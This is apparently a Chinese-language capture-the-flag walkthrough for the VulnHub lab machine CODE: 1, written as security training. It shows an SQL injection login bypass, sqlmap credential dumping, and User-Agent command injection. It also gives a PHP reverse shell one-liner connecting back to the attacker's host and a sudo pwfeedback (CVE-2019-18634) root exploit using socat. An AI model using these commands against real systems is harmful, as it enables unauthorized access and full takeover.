准备:

攻击机:虚拟机kali、本机win10。

靶机:CODE: 1,下载地址:https://download.vulnhub.com/code/Code.rar,下载后直接vbox打开即可。

知识点:CVE-2019-18634漏洞、命令执行漏洞、sql注入。

信息收集:

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.138。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.138,显示开放了21端口、22端口、80端口、3306端口,开启了ftp服务、ssh服务、http服务、mysql服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,jpg,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.138,发现ip.php、/admin、/assets等文件和目录。

3.ftp服务

尝试使用匿名登录ftp服务,但是发现登陆失败,那这里就先放着吧。

二:信息利用

1.sql注入

访问:http://192.168.1.138/admin,跳转到了一个登录页面:http://192.168.1.138/admin/admin.php,尝试使用万能账户和密码进行注入测试,账户和密码:' or 1=1#,成功登录到系统,发现存在一个文件上传功能,利用该功能进行文件上传,但是显示我们不是admin账户。

那就利用sqlmap爆破下数据库信息,成功获得admin账户的相关信息:admin/wiuweuasndfnmasfwerwereirio。

2.命令执行漏洞

然后利用获得的账户和密码信息进行登录:admin/wiuweuasndfnmasfwerwereirio,登录成功后继续上传文件,但是上传文件操作后返回的仍是不是admin。使用bp抓取上传文件的数据包,告诉我们非法的useragent。

后面在其代码信息中发现一个useragent信息,尝试使用该user-agent替换掉原来的user-agent,但是返回信息显示是空字段,但是应该就是和user-agent有关。

后面经过多次测试,发现抓取:http://192.168.1.138/admin/dashboard.php页面的数据包,其user-agent参数存在命令执行漏洞。

三:获取shell

利用命令执行漏洞获取shell权限,命令:php -r '$sock=fsockopen("192.168.1.83",6688);exec("sh <&3 >&3 2>&3");',可以在这个网站:https://www.revshells.com/多找几个试一下,成功获得shell权限。

四:提权

获取shell权限后在/var/www/.backup_password_for_ftpuser目录下发现.ftp.txt,但是读取该文件信息是加密的信息,先放这里,在找一下其他的。

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现了三个脚本,但是这三个脚本都没法利用。

然后就去搜索了下Matching Defaults entries for www-data on codie,因为之前没遇到过,然后就发现了当其显示pwfeedback时会存在一个缓冲区溢出提权漏洞。

查找下该漏洞的提权利用方式,存在两种利用方式:

#这种需要输入密码,但是这里因为不知道密码,所以没法使用
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
    
#通过socat创建一个伪终端pty
socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
sudo -S id < /tmp/pty

 但是执行第二种的时候显示缺少socat,但是安装的时候有需要管理员权限。

那我们使用apt download socat命令进行下载,虽然让我们输入密码,但是三次错误之后可以正常下载。

解压:tar zvxf socat.tar.gz之后有个deb包使用ar进行解压,命令:ar -vx socat_1.7.3.2-2ubuntu2_i386.deb,然后获得两个压缩文件:control.tar.xz、data.tar.xz。

对解压缩出来的两个压缩文件进行解压,命令:tar -xxvf control.tar.xz和tar -xxvf data.tar.xz。

然后在usr/bin目录下使用下socat,是可以正常的使用的:

然后我们去github上查找下CVE-2019-18634漏洞的exp,下载地址:https://github.com/Plazmaz/CVE-2019-18634。下载完成后将该exp上传到靶机,命令:wget http://192.168.1.13:8000/CVE-2019-18634 -r,然后去到exp中的src目录中尝试执行socat命令,命令:./../../../../tmp/socat/usr/bin/socat,可以正常执行。

然后删掉靶机中的上传的文件,然后在本地kali中修改exp的/src/run.sh文件,socat修改为:./../../../../tmp/socat/usr/bin/socat pty。

然后在上传至靶机并赋run.sh文件执行权限:chmod +x run.sh,然后执行该文件成功获得root权限。

获得root权限后去/root/Desktop、/home/codie/Desktop、/home/jack读取下flag值。